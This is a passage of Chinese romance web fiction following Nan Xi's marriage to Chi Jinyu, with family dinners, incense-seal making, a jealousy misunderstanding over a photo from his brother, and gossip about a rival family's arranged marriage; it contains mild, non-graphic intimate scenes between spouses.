骑在?白?马上穿着美拉德复古裙的女孩,美丽又飒爽。而此刻的她趴在?蒂卡波约翰山脚下的草坪上, 那时远远叫她回?眸的男人,一下一下急促地撞着她心脏。 后?来回?到房间, 门口, 梳妆台,落地窗, 再?到浴室的洗手台,心脏的频率依旧急促,没有?慢下过一刻。 淋浴间落下的热水,和?她的哭声一起浇了他满身。 过后?,整个京城万籁俱寂,在?卧室窗前,南惜才发现今晚这个院子最大的秘密。 俯视的角度下,那些粉色灯光的痕迹串联成一行数字:1314520。 南惜用手指对着玻璃描摹灯影轮廓,不?禁“噗嗤”笑了。 这样的仪式感实在?很土,但她竟然会喜欢。 温热从背后?袭来,两人一模一样的袍角和?袖口缠在?一起,她感觉到手背碰到的冰凉,低头看,池靳予手里拿着两块手表。 一块是那天回?娘家,他送给她的道歉礼物,另一块是男表。 他把属于她的那块戴到她手上,另一块放她手里。 南惜似乎发现了什么,抬起自?己的表盘贴在?一起观察,除了大小区别,和?男款少了那一圈紫钻,两块表极为相似。 她惊讶:“是一对吗?” “嗯。”男人双手环紧她腰,“帮我戴上?” 南惜笑了笑,把他的左手握起来,手表圈在?他骨骼分明的冷白?手腕,扣紧。 他的手特别漂亮。 南惜舍不?得放开,指腹顺着滑到他手背,按按凸起的青色血管,和?她自?己的触感完全不?同。 男人血管粗得多,绷起的时候,有?种荷尔蒙的魅力。 “惜惜。”他反过手掌,握住她,呼吸沉在?她发间。 南惜向后?仰在?他胸口,懒懒地:“嗯?” 他没有?再?说话,只是把她拥得更紧。 寂夜悄然,一起望着院内沉默又浪漫的灯光,好像每一秒时间都被无限地拉长。 * 池靳予虽然不?住老宅,但每个月月底都会回?去一次,到祠堂给爷爷奶奶上柱香,顺便和?父亲吃个饭。 他和?池苍山之间感情淡薄,谈不?上什么一家团聚。 南惜跟着他一起去了。 池靳予说池昭明会在?,担心她不?舒坦,可她内心已经毫无波澜,只是觉得老公回?家面对那两个牛鬼蛇神,她应该陪着他。 进门时,池昭明坐在?沙发上打游戏,抬头瞥了眼,继续在?屏幕上手指如飞。 池靳予牵着她走过去,接过刘姨递来的茶杯,目光凉凉地落他头上,嗓音没一点情绪:“不?会叫人?” 池昭明不?情不?愿,可又不?敢造次,对这人的畏惧就像是天生 。他一句话,身体比脑子反应更快。 打了一半的游戏放到旁边,认真叫了声:“大哥。” 紧接着,他看到那两人十指相扣的手。即便只牵着什么都不?做,也自?然流露出难以言喻的亲密。 他眼睛像被针扎了下,一颗心空洞洞的,近乎机械地开口:“大嫂。” 空气?凝滞,只有?南惜端着茶杯微抿一口的声音。她面无波澜地扫了他一眼,如同掠过一个死物,再?看向池靳予,温温软软地叫他:“老公,我想去后?院看看鱼。” “好。”男人嗓音温润宠溺,“我们走。” 南惜虽然对池昭明已经没感觉,但嫌他碍眼,如今他在?池靳予面前这副窝囊样,更让她懊恼当?初是怎么眼盲心瞎,会看上这样的男人。 明明就没有?半点魅力。 初夏的院落绿意葱葱,红柱黛瓦的八角亭浮在?鱼池中央,成片锦鲤从脚下游过。偶尔也有稍大的鱼浮出水面,像在争抢食物。 南惜看着那些鱼发呆,并?没有一开始那么兴致勃勃。 池靳予感觉到她的情绪,紧了紧她的手:“如果不开心,我们回?家。” “没不开心。”南惜摇摇头,垂眼沉默了几?秒,侧过身,把头靠在?他胸口,“就是觉得可惜,如果能早点遇见你就好了。” 命运的安排让人啼笑皆非,过去两人隔着不?远不?近的距离,也许某次跟池昭明回?家,早一点或者晚一点,她就会认识他。 哪怕依然没有?交集,只是礼貌地打个招呼,或者来不?及对视的匆匆一面,她也能知道这个世?界上,有?这样一个清润如玉,让一切美好都为之失色的男人。 “你怎么知道没早点遇见?”男人轻轻揉着她头发,笑问。 南惜错愕抬头,他食指抬着她下巴,低头攫住她的眸。 “我每月都会回?来,这院子就这么大,也许你早见过我。”咫尺鼻息,温热交缠,他嗓音沉哑得像克制着什么,“但你眼里只有?别人,哪能看见我?” 南惜鼻头一酸,笑了笑:“池先生,吃醋嘛?” 他抵上她唇,气?音掠过她齿间:“你已经是我老婆。” 南惜勾着他脖子,仰着头,靠在?红色廊柱上热情绵延地回?应他。 鬼使神差踱步到后?院的池昭明,就这么看见他们抱在?一起,旁若无人肆意亲密的场面。 原本空洞的那块失重坠落,混着淋漓的鲜血碎成无数片。 南惜没有?这样毫不?抗拒,享受并?迎合地亲过他。 他以为她不?会,她可能就是天生冷淡。 可原来她也能这样柔若无骨地在?一个男人怀里,娇羞却主动,比庭院盛开的海棠花更妩媚。 甚至在?无数个他不?知道,也根本无法?想象的夜晚…… 拳头在?身侧攥得发抖,连同整个人都无法?抑制地颤动,心口憋的那股气?快要炸掉,池昭明红着眼,扭头离开。 晚饭时,池苍山客气?温和?地招待儿媳,叫她多吃点,又旁敲侧击地问两人打算何时要孩子。 池昭明低头黑脸,想象出南惜为大哥生一个孩子,一家三口其乐融融在?他眼前晃悠的画面,想象前女友的孩子管他叫叔叔,裤子都要被自?己抠破。 紧接着听见他最不?愿听,也最扎心的一道嗓音:“不?着急,惜惜还小,孩子过两年?再?说。” 池苍山对这个大儿子向来不?敢太横,也不?轻易插手他的主意,笑了笑:“我就是问问,没有?催,你们自?己打算。” “嗯。”池靳予点了下头,拿起公勺,从鱼火锅里舀出一勺鲜嫩鱼籽,带着两只饱满的鱼泡,放到南惜碗里,“老婆,你爱吃的。” 南惜朝他笑得很甜:“谢谢。” 当?着这么多人,他无比镇定地逗她:“谢谁?” 桌下她拧了一把他的手,却还是乖乖叫了:“老公~” 一直沉默着的田蕙云看向池靳予,欲言又止好一会,终于鼓起勇气?开口:“靳予啊,有?个事儿……” “您说。”池靳予抬眼看过去,表情认真,他向来礼数周到。 田蕙云一脸讨好的笑意:“你弟弟在?花溪那边的工厂有?半个多月了,他实在?对厂里的事儿不?感兴趣,做不?好,再?说了,他好歹也是宾大留学?回?来的,又是堂堂池家二少爷,就管一个外包工厂,不?在?总部任职,说出去多让人笑话……” “我也不?在?总部,您这话,我和?昭明都让池家蒙羞了?”池靳予不?动声色地勾了勾唇,眼底没一点温度。 “我不?是那意思。”田蕙云慌乱摆手,“你和?他哪能一样呢?你那科技公司做得多好,大家都有?目共睹的,你弟弟不?如你,他就那点儿本事……” “您也懂,有?多少能力干多少事儿,我现在?给他安排的,就是最适合他的职位。”池靳予把剥好的虾肉放到南惜碗里,慢条斯理拿下一只,“等他真有?了长进,我自?然会考虑调他去别处。” 顿了顿,目光带着一丝嘲讽地望向池昭明本人:“或者他也可以自?己找工作,我不?会干涉。” “行了。”池昭明一张脸又红又黑,“妈,你别说了,丢不?丢人。” 以前他总向南惜吐槽,自?己在?大哥手下郁郁不?得志,满腔抱负无法?施展,都是大哥故意使绊子,他才一直没法?在?事业上有?所突破。 可现在?,他的平庸无能,愚蠢窝囊,就这么毫无保留地暴露在?她面前。 最后?一条遮羞布也被扯开,他无地自?容。 田蕙云哪有?这么细腻的心思,察觉到儿子情绪,脾气?倒上来:“你个没良心的臭小子,我是为了你低声下气?……” “谁要你低声下气?了!还嫌不?够丢脸吗?”池昭明红着眼扫过去,“我求你了不?要管我了!” “池昭明。”男人嗓音平和?,虾肉放到隔壁碗里的动作无比温柔,却又带着隐怒的威严,“刚才有?三次,对母亲没有?用敬称。大呼小叫,言行无状,请家法?还是跪祠堂,你自?己选。” 池昭明忿忿咬唇,看向池苍山求救:“爸……” “你去跪祠堂吧。”池苍山闭了闭眼,起身,“我有?点累,你们吃。” 饭桌气?氛变成这样,南惜突然有?点无措,不?知道自?己该不?该继续吃。虽然这一切都没有?影响她心情,但总觉得表现得太没心没肺,很不?合时宜。 田蕙云和?池昭明也先后?离开了,她拿着筷子的手没再?动。 直到又一只剥好的虾肉,被男人喂到她嘴里:“好好吃饭,别管他们。” “这一桌都是你的。” 南惜嚼着清甜鲜嫩的虾肉,弯了弯唇。 好像自?从嫁给他,很多她担心过的事情都迎刃而解。 没有?婆媳矛盾,也没人给她立规矩,她依旧像出嫁前一样,被他宠成了公主。 家宴不?欢而散,所有?人各怀心事地离席,她也能不?受丝毫影响地尽情享受一整桌佳肴。 他做到了,让她不?需要看任何人眼色,随时随地随心所欲。 “你什么时候把他调走的?”饭后?,南惜端着果汁在?院子里晒月亮,腿搭在?他的腿上,“是为我出气?吗?” “我不?会假公济私。”他有?一下没一下揉着她的腿,像按-摩。看见她努嘴轻哼的时候,笑了笑:“我是明目张胆给他穿小鞋。” 南惜满意地凑过去:“池总,你好坏。” 男人好整以暇地抬眸:“不?喜欢吗?” “喜欢。”她笑着亲在?他脸颊,双眸水汪汪又璀璨,像湖面倒映着满天星光。 池靳予轻轻捧着她脸,转过头,捕捉她唇瓣,却没有?进一步动作,只是贴着她低声重复:“再?说一遍,喜欢。” 南惜仿佛听见心脏里噼里啪啦有?什么东西燃烧起来的声音。 近在?咫尺的棕眸被墨色浸染,比黑夜还要浓郁。 她脑海里着魔似的,不?停重复着那两个字—— 喜欢。 突如其来的联姻,一切都发生得顺理成章。这个男人从一开始就太有?魅力,但她只把他当?成一个完美的结婚对象。 她没想过,也不?敢细究自?己对他的准确定义,到底是一个超出预期的丈夫,一起生活的优质伙伴,给予她精神和?身体双重快乐的男人,还是……她已经对他动心,喜欢上他。 池靳予发现她失神的模样,略微挫败地垂了垂目光,但只有?那短促的一瞬。 几?不?可见的失态过后?,依旧温润纵容,带着一点暧昧的调侃:“看把你紧张的,要不?要去吃宵夜?” 南惜正?愁怎么摆脱那阵无名情绪,一听有?吃的,忙点点头:“好。” 碗里是开水冲的鸡蛋花,几?个桂花汤圆,淋上香味浓郁的酒酿。桌上还有?星星形状的绿豆糕,和?像包子一样圆润的玫瑰软酥。 刘姨又给她冲了杯牛奶。 “少夫人喜欢燕麦奶,下次记住了。”池靳予态度温和?地对刘姨说。 刘姨连连应下。 虽然他们俩一个月只回?来一次,但老宅上上下下都不?敢怠慢,习惯喜好全刻在?脑子里。 吃完饭,余沭阳打电话来请示工作上的事,池靳予出去接电话。 南惜无聊,溜达到厨房看刘姨和?帮佣收拾。 池家老宅的厨房和?龙湖山庄风格迥异,她越来越喜欢中式古典韵味。 刘姨在?她面前没有?在?池靳予面前那么拘束,笑着说:“大少爷自?从跟您结婚,饭都吃得比以前多了。” “他饮食是不?是特别讲究?”刘姨是池家老人,南惜向她打听起来,“感觉他一般都吃得很少,而且除了在?家,就固定那几?个地方,小店路边摊都不?爱去。” 那次拍婚纱照去江南,她逛夜市买了几?样小吃,池靳予一口没动。 刘姨叹了叹,压低嗓音,对她说:“大少爷十多岁的时候被绑架过,当?时就是因为吃了路边的小吃,被人迷晕。后?来就习惯了,来历不?明的东西他通通不?入口。” 南惜脑子里嗡了几?下,很久才回?过神。 直到池靳予打完电话,唤她上楼休息。 她拒绝了他一起洗澡的请求,怕他又在?浴室胡来。一个人洗完澡,在?被窝里躺了会儿,被人从后?捞进怀中。 略高的体温,让沐浴液残留的香气?更加馥郁浓烈,她转身偎进他胸口,隔着睡衣深深地闻,辨认那一抹独属于他的,令人安心的沉雅体香。 睡衣很薄,她能感受到他后?背那一条条凹凸不?平,手探进去,毫无阻隔地用掌心贴住。 “池靳予。” “嗯?” “没想到你小时候也被人绑架过。” 男人呼吸一顿,紧接着,沉入她发心笑了笑:“刘姨告诉你的?” “嗯。”食指指腹缓缓抚过最深的那条疤,“你背后?的伤,是因为那次吗?” 他没有?再?瞒她:“是。” “还有?你一直不?公开露脸……” “也是。”他安抚地拍拍她的肩,“一开始我爸担心,怕又被盯上,但后?来我也习惯了,不?公开就不?会被打扰,挺好的。” 南惜吸了吸鼻子,眼泪蹭在?他衣服上:“我小时候也被绑架过,遇到一个特别好的哥哥,他想办法?让我逃出去……” 黑暗中,男人眼中的浓郁清晰可见。 “后?来我逃出去了,可是却没能救他,我不?知道他去哪儿了。” 手臂拢紧,克制的嗓音埋进她发间:“也许你已经救了他。” 南惜不?明白?,扬起湿润的眸,颤抖的呼吸被封入唇齿中。 窗外不?断涌进的风也吹不?散这阵绵密爬升的温热,香气?被烘得越发浓郁,顷刻之间,刚柔相抵。 她指甲抓着他肩膀,身体和?理智矛盾地抗争:“不?行,楼下……” 虽然重新装修过,但老房子的基础结构没变,她不?知道够不?够隔音。 他没有?给她商量的余地,肩膀被咬痛,力道反而更果断,低哑嗓音仿佛带着刻意为之的戏谑,随着木头轻微的晃动,侵入她耳朵:“那你小点儿声。” 悠长夏夜,楼上楼下一样未眠。 * 第二天清早,某人堂而皇之地搂着妻子下楼吃饭,衬衫领口慵懒地散着两颗扣子,锁骨上方两排可疑的牙印,侧颈一条细长的指甲印。 餐桌旁的人纷纷朝他看了眼,神色各异。 池苍山嘴角短促地动了下,竭力保持严肃:“到齐了,吃吧。” 田蕙云仿佛看了什么辣眼睛的画面,匆忙撇开目光埋头动筷。 池昭明眼下两排浓重的乌青,腮帮子僵硬颤抖,双目无神,舀起他从不?爱吃的草莓酱,糊满了整片吐司。 今天池靳予安排了和?之前拍婚纱照的团队主理人再?次见面,让南惜亲自?选择她想要的相框,挑出一些照片,确定尺寸后?冲印出来。 沿途拍摄的所有?照片,他全都让摄影师精修过,还吹毛求疵返工了两次,所以整体时间有?点长,一个月才全部完成。 南惜想要的太多,不?仅和?府街别墅,她的云宫大平层,龙湖山庄卧室,但凡有?柜子桌子的地方全都要摆上结婚照。 选了一下午,终于基本敲定展示的部分。 剩下不?展示的全放入相册,粗略计算需要十四本相册,池靳予嫌这个数字不?好听,让对方想办法?凑成十六本。 这夫妻俩一个比一个有?想法?,主理人无奈,也只能笑着答应。 晚上,在?那家四合院会所吃了顿中式茶餐,回?到家,客厅里放着箱快递。 南惜最近没买东西,应该是池靳予买的,她看着他拆开纸箱,里面满满当?当?,都是各种礼盒装的……套。 她两眼一黑:“你干嘛买这么多?” “每款都不?一样。”他一盒一盒地拿出来,“这盒是有?花纹的,这盒是带香味的,这盒是凉感和?热感,这一盒……好像会发光,还有?一种新款,店家说是爆水的,我没买。”他抬头望过来,意有?所指,“感觉你不?需要。” 救命,这个人精神状态还好吗? 池靳予笑着安抚她:“放心,剩下的都是正?常的。我只是觉得……既然有?,我们就尝试一下。” 南惜看着这些五颜六色的盒子,竭力让自?己冷静。 男人坐在?沙发上,她站着,结实的手臂轻轻一捞,她倒过去,手撑住他肩膀,又软软地滑进他怀里,侧坐到他的腿上。 “想让你更快乐,不?好吗?”长指隔着一层,勾下她右肩的带子。 南惜溺在?他沉如深海的眸底,温热攫住唇的那刻,闭上眼睛。 “想用哪种?嗯?” 南惜咬着嘴唇,手臂勾着头顶沙发的木质扶手。 “小花园好热,帮你降降温好不?好?” “……” 小时候过冬天,南惜跟着爸爸回?港岛,经常向哥哥姐姐们炫耀她在?北京开着暖气?,边看雪边吃雪糕。 龙湖山庄冬天的雪景是她记忆中最美的,那时还不?觉得进城很远,逛街很难,只是很喜欢一边看着无边无际的鹅毛大雪落满草坪和?山头,结冰的龙湖变成一面巨大的镜子,一边坐在?暖气?充足的落地窗边,拥着壁炉吃雪糕的感觉。 在?小孩的眼中,那只是一种单纯的快乐,甚至没法?用语言系统凝结出一个确切的形容。 但此刻,冷热摩擦,冰火交织,碰撞出一种绝顶的浪漫。 好像时间都静止了,天地间茫茫大雪,没有?任何生灵的气?息,而她包裹着唯一一颗跳跃的火种。 第52章 第 52 章 六一儿童节, 南惜被?祁景之叫到集团参加员工活动?。 南俊良跟随祁玥来?到京城,就成立了晖腾集团,背靠港岛南氏雄厚的资金, 但运营上完全独立。 用了二十年?时间, 商业版图纵横全国,如今在祁景之手里?如日中天。 员工福利好, 儿童节当?天有活动?,还有给参加表演的员工小朋友的颁奖典礼。 南惜被?他征用,去给小朋友们颁奖,理由是她长得漂亮,小朋友们爱看, 又是集团大小姐,能显出高层的诚意。 南惜一般不掺和集团事,因为挺喜欢小朋友,才乐意帮他这个忙。 当?天她特别?穿了件可爱些的公主风白裙子,头?上发卡是马卡龙色, 扎丸子头?,和儿童节氛围很搭。 到礼堂时, 舞台上还在演话剧,小朋友们排演的《灰姑娘》。 有看节目的小朋友发现?她, 叫旁边的伙伴一起看,一个接一个, 那群小朋友全部朝她行注目礼。 有胆子大的一个拉着两个,两个拉着三个凑过来?, 奶声?奶气地问:“姐姐, 你要演白雪公主吗?” 南惜“噗嗤”笑了。 还没?开口,前方传来?一道清越女声?:“姐姐是真公主。” 小朋友们张大嘴巴, 异口同声?:“啊?” “快去准备节目啦你们。”来?人刮了刮带头?的小朋友鼻尖,“前三名奖励公主一个抱抱,加油。” 南惜被?裴锦姗从孩子堆里?解救出来?,笑她:“怎么不叫我去接你?” 裴家开武馆出身,裴锦姗爷爷和南俊良是忘年?交,祁景之曾经跟裴老学了身本事。 后?来?一直尊他为恩师,破天荒塞了两个关系户。老幺裴锦程在西景科技,也?就是南惜分手后?,向她毛遂自荐过的那位追求者,他姐裴锦姗在晖腾总部。 但裴锦姗不像她弟,藤校研究生毕业,是有真本事的,如今在晖腾任财务部总监。 也?是她婚礼那天的伴娘之一。 “我又不是不认识路,还需要你接?”南惜笑了笑,和人群隔了段距离站定,从包里?掏出个小盒子给她,“喏,你要的香水。” 裴锦姗惊喜接过:“谢了姐妹。” “顾月满不是说来?吗?”南惜四周看看,拧眉,“人呢?” “心情?不好,不想出门。”裴锦姗耸了耸肩,拿手机,翻出张照片给她看,“这人认识吗?” 身材纤瘦的一个女人,眉眼清丽,表情?很冷,穿着白大褂。 南惜摇头?:“不认识,谁?” “顾月满大伯家的堂姐。”裴锦姗说。 南惜:“顾家姐妹还有我没?听过的?” “我之前也?不知道,不过他大伯家之前不都在美国嘛,不知道也?正常。而且大我们好几岁呢,跟你哥差不多。”裴锦姗用手指放大照片,“长得不得不说,比顾月满漂亮多了,难怪要安排给薄家联姻。” “薄瀛之?” “嗯呐。”裴锦姗撇撇嘴,“就顾月满喜欢的那个薄瀛之。” 南惜叹了声?,垂下眸。 这种阴差阳错的事换谁都受不了,但两家联姻大多无奈,很难皆大欢喜。 台上的小朋友们一个个朝气可爱,不禁让她想起自己?的童年?。拍了张照片发到朋友圈,还配了一段矫情?的文字:【好想做回小朋友。】 在这边待到下午三点多,南惜才完成颁奖任务,池靳予过来?接她。 车没?有开回和府街,而是停在了Maryee店门口。 今天Maryee全天营业,所有小朋友都半价。 他们进去的时候,唐意正在给一个小朋友拿蛋糕,蛋糕上有一只巧克力做的大耳狗,特别?精致可爱。 南惜看见?冷藏柜里?花瓣一样的小点心,激动?地问:“Mary姐,这个是什么?” “是山茶花,栗子馅儿的,要不要来?两个?”唐意笑着拿托盘和夹子过来?。 南惜这才发现?自己?嘴快,局促地抿了抿唇。 “没?关系,不习惯就不用改了。”唐意笑笑,给她夹了两只山茶花点心,和刚才那个小朋友买的大耳狗蛋糕,递给她,“就叫姐。” 池靳予闲闲地立在旁边:“那我呢?” 唐意下巴点了点南惜:“你叫小姨呗。” 南惜憋不住笑了出声?。 “那不差辈儿了。”池靳予搂住她腰,对唐意说,“我带她去楼上。” “去吧。” 楼下许多小朋友,叽叽喳喳窜来?窜去的,怕撞到她。楼上是唐意自己休息喝茶的地方,里?面还有烘焙间。 南惜发现唐意的休息间也会点香,茶桌上有一只倒挂香插,炉子里?正燃着香篆,一个繁体?寿字,燃了一小半,依稀是檀香味。 南惜去茶楼见?过表演打香篆,知道这个很难,而像唐意这样打出整齐饱满,一点瑕疵都没?有的形状,是需要超高的技艺和绝对平和的心境的。 她拽拽旁边人的手,问:“你会玩这个吗?” 池靳予望着她兴致勃勃眨巴的眼睛,了然:“你想看?” 南惜忙不迭点头?。 池靳予笑了笑,俯身揭开桌上闲置的几个香炉,里?面都有燃尽的香灰。 “要哪个?” 南惜指了指中间的琉璃炉子:“这个,白色好看。” 池靳予在桌前坐下,往侧边挪了挪,让她过来?。 南惜双眼发亮地挨到他旁边,看着他用一把小铲子将燃尽的香灰小心翼翼地挖出来?,整个过程十分细致,直到里?面只剩下洁白无瑕的草木灰,没?一点杂色,他擦干净铲子,又拿一双黄铜小筷,将白色的灰散开。 过程和她在茶楼见?过的差不多,但比起女孩的柔美娴静,他身上那股自然沉稳的气质,此刻又添上几分雅致的书卷气,更让她看得着迷。 南惜选了一个喜字篆模递给他,池靳予放在香炉中央,手指稍压了压,然后?往里?面舀两勺香粉。 香粉也?是南惜选的,瓷罐上的名字很熟悉,叫清水瑶。 她想起那天在别?墅客厅,她第一次见?他点香,问他有没?有适合自己?的。 那时池靳予说了这个名字,望着她,目光灼如烈日: “所谓伊人,在水一方。” 香粉舀出时,一股淡淡的甜钻入鼻间,是很有韵味的清甜,和她闻过的任何香薰香水都不一样。 心尖被?这股清甜勾缠着,不自觉,视线移向他凝神专注的侧脸。男人并?没?有发现?她,明澈又深邃的目光落在那一方小香炉里?。 原来?在他心目中,她是这样的味道吗? 清新雅致,甜而不腻。 打香篆对他来?说并?不难,无论技巧还是心境,任何外界干扰都不会影响他注意力,和稳而准的双手。 香粉填满,清理篆模,游刃有余地握紧,抬起来?。 眼看一个完美的喜字香篆就要成型,左脸颊忽然被?女孩柔软的唇一贴。 南惜发誓她不是故意的,她不知道刚刚好这时候,他要起篆。她只是看了他一会儿,就忍不住想亲一口。 于是这个喜字,散成了七歪八扭的形状。 池靳予这辈子头?一回彻底翻车,连当?初跟着唐意学打香篆,第一次自己?上手,都没?有散得这么难看。 可他心里?也?不火,只是无奈地放下工具,搂住做坏事的女孩的腰身,低下头?,用狂风骤雨般的力道惩罚她。 南惜被?他亲得头?晕目眩,眼角湿润,唇舌麻到没?有知觉,奋力呼吸间,鼻腔依旧被?那股清甜 的香气占据。因为升温,那香气变得隐隐不一样,却依然没?有躁意,令人沉迷享受。 直到她实在呼吸不来?,池靳予抵着她额头?,轻轻浅浅地啄她鼻尖。 南惜忽然笑出声?。 “笑什么?”他咬她一口。 南惜勾着他脖子,嗓音透着亲昵后?自然的软糯和甜意:“笑你啊,大外甥。” 手臂搂紧她腰,揉了一下那团绵软,在她骤然惊呼时贴到她耳边:“哪个外甥这么对你?嗯?” 手甚至钻了进去,使坏,偏偏低沉戏谑地唤她:“小姨?” “不要了,我错了。”南惜到底玩不过他,带着哭音求饶。 时间和场合都不对,不然高低得让她真哭一次。池靳予暂且放过她,拿过一盏新的香炉。 “还打吗?”她问。 “嗯。”池靳予拿着小铲子,开始清理炉灰,“喜字散了,不吉利。” 南惜目光一颤,定定地望向他,几秒后?弯起唇,把头?靠在他肩膀上。 她不闹了,安安静静地看他打香篆,没?一会儿,一个完美的喜字脱模,起篆,用一截线香引燃,清水瑶燃烧的香味散到整个房间。 然后?他又拿一盏炉子,打了一只小猫咪图案。 南惜看着小猫咪头?顶燃起的袅袅青烟,“噗嗤”一笑:“儿童节礼物吗?” 他握住她手:“嗯。” 南惜故意努了努嘴:“我又不是小朋友。” 男人侧过头?,目光深深地望着她:“在我这儿,你可以做回小朋友。” 南惜心尖一抖,鼻头?也?一酸。 他看到她的朋友圈了。 水光潋滟的眸沾染了他眼底深邃的墨色,就好像被?黏住。 空气里?清水瑶的香味越发浓郁,每一个细节,每一个层次的香调,都那么深刻地印在她并?不算敏锐的嗅觉里?。 她永远记住了自己?在他心中的样子。 第53章 第 53 章 南惜没想到会在临街的?咖啡馆遇到池昭明, 这家伙已经从她面前销声匿迹很久了。 祁书艾去上个厕所的?工夫,池昭明坐到她对面,占了祁书艾原本的?位置。 “不用?这么警惕, 你都已经是?我大嫂, 我还能怎样??”池昭明嘲讽地扯了扯唇,“我只是?念着咱俩曾经好过?, 提醒你一句,别犯傻,别以为我大哥真的?很喜欢你。” “我和你大哥的?事就不劳你操心了。”南惜皮笑肉不笑地睨着他,一字一句道:“弟弟。” 池昭明接过?服务员递来的?咖啡,嘴角轻扬, 抿了一口?:“你不知道他在国外谈过?一个女朋友吧。” 南惜心尖颤了颤,镇定地看过?去:“那又怎样??我没谈过?吗?” “那女人之前一直在英国,刚回来。”池昭明递给她一张照片,“他背着你和前女友见面。” 南惜瞥了眼照片,那女人只有个背影, 但?身材衣品都不凡,池靳予的?脸倒是?清清楚楚, 身上穿的?还是?今早她给他挑的?那身。 池昭明没和她多说,喝完咖啡便起身, 把照片留了下来:“我是?站在你这边的?,惜惜。就算你和别人结婚, 我也不希望你受伤害。” 理智告诉她,池昭明的?话不可信, 仅凭两个人一起吃顿午饭的?照片, 就看图说话断定是?和前女友重叙旧情,未免太?草率了些。 但?她还是?把照片收起来。 晚饭桌上, 池靳予发现对面的?女人时不时瞟自己一眼,每次当他抬头又若无其事地躲开?,碗里的?饭没动多少,骨碟里嗑了一大堆虾球壳子,还都是?碎的?。 “怎么了?”他问,“有心事?” 南惜也不是?支支吾吾的?性格,开?门见山地问:“你和你的?前女友们还联系吗?” 池靳予愣了下,回答:“没有。” 说完发现这话有歧义,补充解释道:“我是?说,没有前女友。” 南惜眼皮微颤地看过?去:“一个都没有?” “怎么,不相信?”男人放下筷子,好整以暇地靠在餐椅上。 成天一副情场老手?的?样?子,她怎么信? 南惜直接把照片顺着桌面滑到他面前。 池靳予拧了下眉,拿起来,失笑:“谁给你的??” “池昭明。”她没打算帮那人保守秘密。 “看来他对现在的?工作确实很大意见。”池靳予凉飕飕勾着唇,把照片扔到旁边,看向她,“照片上是?我高中同学,关系不错的?朋友。她最?近刚从英国回来,我才知道,之前并没有联系。中午只是?吃顿便饭,问候一下。” 说话时他始终望着她眼睛,以表真诚:“我有错,应该提前知会你的?,因为跟她也是?偶遇,事发突然,所以忘了向夫人报告。” 顿了顿,十分认真地说:“我保证,下不为例。” 男人满满的?求生欲,惹她“噗嗤”笑出声来。 她手?托着下巴,隔着满桌菜盯着他:“你说你没有前女友,那些花样?都哪里学的??” 话音刚落,一阵温热贴近她小腿。 柔软棉袜的?触感,带着微微的?摩擦力,沿着内侧缓缓往上,南惜整个人酥了一下。 “池靳予。”她羞恼瞪他,“骗子!” 她绝对不信他从来没谈过?女朋友! 深夜,卧室新买的?钻石灯从天花板投下,光影忽快忽慢地摇晃,伴着忽高忽低如泣如诉的?嗓音。 南惜背后像贴着火炉,把两片皮肤都烧化了熔在一起。她的?脸被转过?去,紧抿的?唇被他磨开?,探入,将颤抖的?呼吸都吞下。 “没有过?前女友。”忽然很重的?一下,将这句话送到她心底,直达深处。 南惜闭着眼睛低低的?呜咽,手?被握着,腰被掐着,耳朵被衔着,那人嗓音低沉嘶哑,一句一句更深地往里送。 “只牵过?你。” “抱过?你。” “亲过?你。” “也只到过?你这儿。” “乖乖,没有别人。”他吞下令他心软的?哭声,和她一起轻颤闭眼,“只有你。” …… 第二天是?周末。 池靳予很闲的?时候,会自己在家做一做卫生。不当成劳动,只是?生活的?一种调味剂,还挺有意思。 南惜从来不干这些,就盘腿在沙发上看他忙活,地面有机器人打扫,他手?里拿着抹布,认真擦过?所有的?柜子和镂空置物格,一切能藏灰的?地方?都被他擦得锃亮发光。 沙发旁的?圆几上,是?南惜自己买的?小猫咪香插,点着一支清水瑶线香。比闻香粉的?味道更浓郁,带了一丝烟火气,但?又 比香篆会柔和一些。 青烟袅袅,她时不时探过?脑袋,用手扇到鼻子里闻。 池靳予常点的沉香已经完全被清水瑶取代,家里楼上楼下摆了二十几个香插,南惜走到哪点到哪。 她越来越喜欢这个味道,每次闻着,都会不自觉想起池靳予那句话,一丝清甜直渗入心底。 “老婆,去那边坐一下。”池靳予看了眼侧面地台,那里为她放好了一只小蒲团。 他手?里拿着清洁沙发的?崭新抹布,和真皮护理剂。 “哦。”南惜小心翼翼地拿起小猫咪香插,和她一起到地台那边。 池靳予回头看她端着香插认真闻的?样?子,满眼无奈和宠溺。 圈里有几个姐妹拉了新群,南惜也被邀请进去。 群里没有顾月满。 这群是?用?来讲八卦的?,讲的?正?是?顾家最?近的?八卦。 【小道消息,但?保真,顾家和薄家的?婚事可能要黄!】 【不是?薄家老太?听说顾月满要出国留学,定了大房家的?那位吗?】 【出国留学怎么了?还不是?能结婚。】 【老爷子身体不好,想冲冲喜嘛,而且老太?肯定想尽快抱孙子的?,毕竟谁知道老爷子还能熬多久?】 【可是?顾月满喜欢薄瀛之啊,心上人变姐夫?天,这什?么狗血剧情?】 【姐夫现在也当不了了,我跟你们说,这件事绝对超出你们想象!】 南惜本来对这种八卦没兴趣,她和顾月满裴锦姗关系不错,算圈里少有的?不太?塑料的?姐妹。顾月满遇到这种事,她心里并不舒坦,哪有心情和这些人一样?看笑话。 可最?后一句话,把她好奇心勾了起来,忍不住凝神看下去。 很快,那人放出一则重磅消息:【她大伯家那位堂姐,不是?顾家的?种!】 【啊?!】 【靠!!!】 【卧槽什?么情况?】 【这是?要翻天了吗?不是?顾家的?种什?么意思?她大伯被绿了?】 【还是?狗血小说里的?抱错梗?】 南惜脑袋里嗡了嗡,呆滞地看着屏幕上信息一条接一条往上刷。 【咱也不知道,咱也不敢乱说啊,但?这条消息绝对属实,她那位堂姐,跟顾家没有血缘关系。】 【天呐,那肯定不能和薄家联姻了。】 【不仅薄家,哪家都不会要的?。】 【听说那位堂姐年纪不小了吧?快三?十了还没结婚,这事儿现在曝出来,算是?完了。】 【所以薄瀛之还是?要娶顾月满?我只关心这个!】 “看什?么呢?”清理完沙发的?男人凑过?来,手?撑在地台上。 南惜一抬眼,额头碰到他下巴:“吃了个瓜。” 池靳予勾着她肩膀,坐下来,顺手?把她揽进怀里:“什?么瓜?” “薄慎的?堂哥要联姻,你知道不?”南惜调整姿势,手?挂在他脖子上,“本来定了顾月满的?堂姐。” “知道。”池靳予勾唇笑,“你见过?她。” 南惜错愕:“什?么时候?” “照片。”顿了顿,他意味深长地补充:“池昭明给你的?。” 每次说起池昭明,他语调似乎就很奇怪。可南惜没深想,她已经被这话包含的?信息量轰炸得脑门空白。 